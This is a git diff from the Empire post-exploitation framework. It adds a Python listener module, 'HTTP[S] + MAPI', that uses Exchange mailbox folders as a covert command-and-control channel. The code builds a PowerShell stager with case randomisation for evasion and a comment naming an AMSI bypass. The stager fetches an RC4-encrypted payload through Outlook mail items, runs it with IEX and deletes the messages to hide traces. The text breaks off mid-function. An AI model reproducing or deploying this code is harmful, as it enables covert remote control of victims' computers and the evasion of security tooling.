commit
3efbe0fb01
|
@ -1,3 +1,7 @@
|
|||
Running
|
||||
--------
|
||||
- Added Trollsploit module Get-Schwifty
|
||||
|
||||
5/15/2017
|
||||
---------
|
||||
-Version 2.0 Master Release
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,626 @@
|
|||
import logging
|
||||
import base64
|
||||
import random
|
||||
import os
|
||||
import time
|
||||
import copy
|
||||
from pydispatch import dispatcher
|
||||
from flask import Flask, request, make_response
|
||||
|
||||
# Empire imports
|
||||
from lib.common import helpers
|
||||
from lib.common import agents
|
||||
from lib.common import encryption
|
||||
from lib.common import packets
|
||||
from lib.common import messages
|
||||
|
||||
|
||||
class Listener:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'HTTP[S] + MAPI',
|
||||
|
||||
'Author': ['@harmj0y','@_staaldraad'],
|
||||
|
||||
'Description': ('Starts a http[s] listener (PowerShell) which can be used with Liniaal for C2 through Exchange'),
|
||||
|
||||
'Category' : ('client_server'),
|
||||
|
||||
'Comments': ['This requires the Liniaal agent to translate messages from MAPI to HTTP. More info: https://github.com/sensepost/liniaal']
|
||||
}
|
||||
|
||||
# any options needed by the stager, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
|
||||
'Name' : {
|
||||
'Description' : 'Name for the listener.',
|
||||
'Required' : True,
|
||||
'Value' : 'mapi'
|
||||
},
|
||||
'Host' : {
|
||||
'Description' : 'Hostname/IP for staging.',
|
||||
'Required' : True,
|
||||
'Value' : "http://%s:%s" % (helpers.lhost(), 80)
|
||||
},
|
||||
'BindIP' : {
|
||||
'Description' : 'The IP to bind to on the control server.',
|
||||
'Required' : True,
|
||||
'Value' : '0.0.0.0'
|
||||
},
|
||||
'Port' : {
|
||||
'Description' : 'Port for the listener.',
|
||||
'Required' : True,
|
||||
'Value' : 80
|
||||
},
|
||||
'StagingKey' : {
|
||||
'Description' : 'Staging key for initial agent negotiation.',
|
||||
'Required' : True,
|
||||
'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa'
|
||||
},
|
||||
'DefaultDelay' : {
|
||||
'Description' : 'Agent delay/reach back interval (in seconds).',
|
||||
'Required' : True,
|
||||
'Value' : 0
|
||||
},
|
||||
'DefaultJitter' : {
|
||||
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
|
||||
'Required' : True,
|
||||
'Value' : 0.0
|
||||
},
|
||||
'DefaultLostLimit' : {
|
||||
'Description' : 'Number of missed checkins before exiting',
|
||||
'Required' : True,
|
||||
'Value' : 60
|
||||
},
|
||||
'DefaultProfile' : {
|
||||
'Description' : 'Default communication profile for the agent.',
|
||||
'Required' : True,
|
||||
'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
|
||||
},
|
||||
'CertPath' : {
|
||||
'Description' : 'Certificate path for https listeners.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'KillDate' : {
|
||||
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'WorkingHours' : {
|
||||
'Description' : 'Hours for the agent to operate (09:00-17:00).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ServerVersion' : {
|
||||
'Description' : 'TServer header for the control server.',
|
||||
'Required' : True,
|
||||
'Value' : 'Microsoft-IIS/7.5'
|
||||
},
|
||||
'Folder' : {
|
||||
'Description' : 'The hidden folder in Exchange to user',
|
||||
'Required' : True,
|
||||
'Value' : 'Liniaal'
|
||||
},
|
||||
'Email' : {
|
||||
'Description' : 'The email address of our target',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# required:
|
||||
self.mainMenu = mainMenu
|
||||
self.threads = {}
|
||||
|
||||
# optional/specific for this module
|
||||
self.app = None
|
||||
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
|
||||
|
||||
# set the default staging key to the controller db default
|
||||
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
|
||||
|
||||
|
||||
def default_response(self):
|
||||
"""
|
||||
Returns a default HTTP server page.
|
||||
"""
|
||||
page = "<html><body><h1>It works!</h1>"
|
||||
page += "<p>This is the default web page for this server.</p>"
|
||||
page += "<p>The web server software is running but no content has been added, yet.</p>"
|
||||
page += "</body></html>"
|
||||
return page
|
||||
|
||||
|
||||
def validate_options(self):
|
||||
"""
|
||||
Validate all options for this listener.
|
||||
"""
|
||||
|
||||
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
|
||||
|
||||
for key in self.options:
|
||||
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
|
||||
print helpers.color("[!] Option \"%s\" is required." % (key))
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
|
||||
"""
|
||||
Generate a basic launcher for the specified listener.
|
||||
"""
|
||||
|
||||
if not language:
|
||||
print helpers.color('[!] listeners/http generate_launcher(): no language specified!')
|
||||
|
||||
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
|
||||
|
||||
# extract the set options for this instantiated listener
|
||||
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
|
||||
host = listenerOptions['Host']['Value']
|
||||
stagingKey = listenerOptions['StagingKey']['Value']
|
||||
profile = listenerOptions['DefaultProfile']['Value']
|
||||
uris = [a for a in profile.split('|')[0].split(',')]
|
||||
stage0 = random.choice(uris)
|
||||
|
||||
if language.startswith('po'):
|
||||
# PowerShell
|
||||
|
||||
stager = ''
|
||||
if safeChecks.lower() == 'true':
|
||||
# @mattifestation's AMSI bypass
|
||||
stager = helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";')
|
||||
stager += "$outlook = New-Object -comobject Outlook.Application;"
|
||||
stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("')
|
||||
stager += 'MAPI");'
|
||||
if listenerOptions['Email']['Value'] != '':
|
||||
stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};'
|
||||
stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};'
|
||||
else:
|
||||
stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");'
|
||||
stager += '$fldel = $outlook.Session.GetDefaultFolder(3);'
|
||||
# clear out all existing mails/messages
|
||||
|
||||
stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}")
|
||||
# code to turn the key string into a byte array
|
||||
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
||||
stager += "'%s');" % (stagingKey)
|
||||
|
||||
# this is the minimized RC4 stager code from rc4.ps1
|
||||
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
|
||||
|
||||
# prebuild the request routing packet for the launcher
|
||||
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
|
||||
b64RoutingPacket = base64.b64encode(routingPacket)
|
||||
|
||||
# add the RC4 packet to a cookie
|
||||
stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "')
|
||||
stager += 'mailpireout";'
|
||||
stager += helpers.randomize_capitalization('$mail.Body = ')
|
||||
stager += '"STAGE - %s"' % b64RoutingPacket
|
||||
stager += helpers.randomize_capitalization(';$mail.save() | out-null;')
|
||||
stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;')
|
||||
stager += helpers.randomize_capitalization('$break = $False; $data = "";')
|
||||
stager += helpers.randomize_capitalization("While ($break -ne $True){")
|
||||
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;')
|
||||
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}')
|
||||
|
||||
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
|
||||
|
||||
# decode everything and kick it over to IEX to kick off execution
|
||||
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||
|
||||
# base64 encode the stager and return it
|
||||
if encode:
|
||||
return helpers.powershell_launcher(stager)
|
||||
else:
|
||||
# otherwise return the case-randomized stager
|
||||
return stager
|
||||
else:
|
||||
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.")
|
||||
|
||||
else:
|
||||
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!")
|
||||
|
||||
|
||||
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"):
|
||||
"""
|
||||
Generate the stager code needed for communications with this listener.
|
||||
"""
|
||||
|
||||
#if not language:
|
||||
# print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!')
|
||||
# return None
|
||||
|
||||
profile = listenerOptions['DefaultProfile']['Value']
|
||||
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
|
||||
stagingKey = listenerOptions['StagingKey']['Value']
|
||||
host = listenerOptions['Host']['Value']
|
||||
folder = listenerOptions['Folder']['Value']
|
||||
|
||||
if language.lower() == 'powershell':
|
||||
|
||||
# read in the stager base
|
||||
f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath))
|
||||
stager = f.read()
|
||||
f.close()
|
||||
|
||||
# make sure the server ends with "/"
|
||||
if not host.endswith("/"):
|
||||
host += "/"
|
||||
|
||||
# patch the server and key information
|
||||
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
|
||||
stager = stager.replace('REPLACE_FOLDER', folder)
|
||||
|
||||
randomizedStager = ''
|
||||
|
||||
for line in stager.split("\n"):
|
||||
line = line.strip()
|
||||
# skip commented line
|
||||
if not line.startswith("#"):
|
||||
# randomize capitalization of lines without quoted strings
|
||||
if "\"" not in line:
|
||||
randomizedStager += helpers.randomize_capitalization(line)
|
||||
else:
|
||||
randomizedStager += line
|
||||
|
||||
# base64 encode the stager and return it
|
||||
if encode:
|
||||
return helpers.enc_powershell(randomizedStager)
|
||||
elif encrypt:
|
||||
RC4IV = os.urandom(4)
|
||||
return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
|
||||
else:
|
||||
# otherwise just return the case-randomized stager
|
||||
return randomizedStager
|
||||
else:
|
||||
print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.")
|
||||
|
||||
|
||||
def generate_agent(self, listenerOptions, language=None):
|
||||
"""
|
||||
Generate the full agent code needed for communications with this listener.
|
||||
"""
|
||||
|
||||
if not language:
|
||||
print helpers.color('[!] listeners/http_mapi generate_agent(): no language specified!')
|
||||
return None
|
||||
|
||||
language = language.lower()
|
||||
delay = listenerOptions['DefaultDelay']['Value']
|
||||
jitter = listenerOptions['DefaultJitter']['Value']
|
||||
profile = listenerOptions['DefaultProfile']['Value']
|
||||
lostLimit = listenerOptions['DefaultLostLimit']['Value']
|
||||
killDate = listenerOptions['KillDate']['Value']
|
||||
workingHours = listenerOptions['WorkingHours']['Value']
|
||||
folder = listenerOptions['Folder']['Value']
|
||||
b64DefaultResponse = base64.b64encode(self.default_response())
|
||||
|
||||
if language == 'powershell':
|
||||
|
||||
f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
|
||||
code = f.read()
|
||||
f.close()
|
||||
|
||||
# patch in the comms methods
|
||||
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
|
||||
commsCode = commsCode.replace('REPLACE_FOLDER',folder)
|
||||
code = code.replace('REPLACE_COMMS', commsCode)
|
||||
|
||||
# strip out comments and blank lines
|
||||
code = helpers.strip_powershell_comments(code)
|
||||
|
||||
# patch in the delay, jitter, lost limit, and comms profile
|
||||
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
|
||||
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
|
||||
code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
|
||||
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
|
||||
code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+str(b64DefaultResponse)+'"')
|
||||
|
||||
# patch in the killDate and workingHours if they're specified
|
||||
if killDate != "":
|
||||
code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
|
||||
if workingHours != "":
|
||||
code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',")
|
||||
|
||||
return code
|
||||
else:
|
||||
print helpers.color("[!] listeners/http_mapi generate_agent(): invalid language specification, only 'powershell' is currently supported for this module.")
|
||||
|
||||
|
||||
def generate_comms(self, listenerOptions, language=None):
|
||||
"""
|
||||
Generate just the agent communication code block needed for communications with this listener.
|
||||
|
||||
This is so agents can easily be dynamically updated for the new listener.
|
||||
"""
|
||||
|
||||
if language:
|
||||
if language.lower() == 'powershell':
|
||||
|
||||
updateServers = """
|
||||
$Script:ControlServers = @("%s");
|
||||
$Script:ServerIndex = 0;
|
||||
""" % (listenerOptions['Host']['Value'])
|
||||
|
||||
getTask = """
|
||||
function script:Get-Task {
|
||||
try {
|
||||
# meta 'TASKING_REQUEST' : 4
|
||||
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;
|
||||
$RoutingCookie = [Convert]::ToBase64String($RoutingPacket);
|
||||
|
||||
# choose a random valid URI for checkin
|
||||
$taskURI = $script:TaskURIs | Get-Random;
|
||||
|
||||
$mail = $outlook.CreateItem(0);
|
||||
$mail.Subject = "mailpireout";
|
||||
$mail.Body = "GET - "+$RoutingCookie+" - "+$taskURI;
|
||||
$mail.save() | out-null;
|
||||
$mail.Move($fld)| out-null;
|
||||
|
||||
# keep checking to see if there is response
|
||||
$break = $False;
|
||||
[byte[]]$b = @();
|
||||
|
||||
While ($break -ne $True){
|
||||
foreach ($item in $fld.Items) {
|
||||
if($item.Subject -eq "mailpirein"){
|
||||
$item.HTMLBody | out-null;
|
||||
if($item.Body[$item.Body.Length-1] -ne '-'){
|
||||
$traw = $item.Body;
|
||||
$item.Delete();
|
||||
$break = $True;
|
||||
$b = [System.Convert]::FromBase64String($traw);
|
||||
}
|
||||
}
|
||||
}
|
||||
Start-Sleep -s 1;
|
||||
}
|
||||
return ,$b
|
||||
|
||||
}
|
||||
catch {
|
||||
|
||||
}
|
||||
while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};} |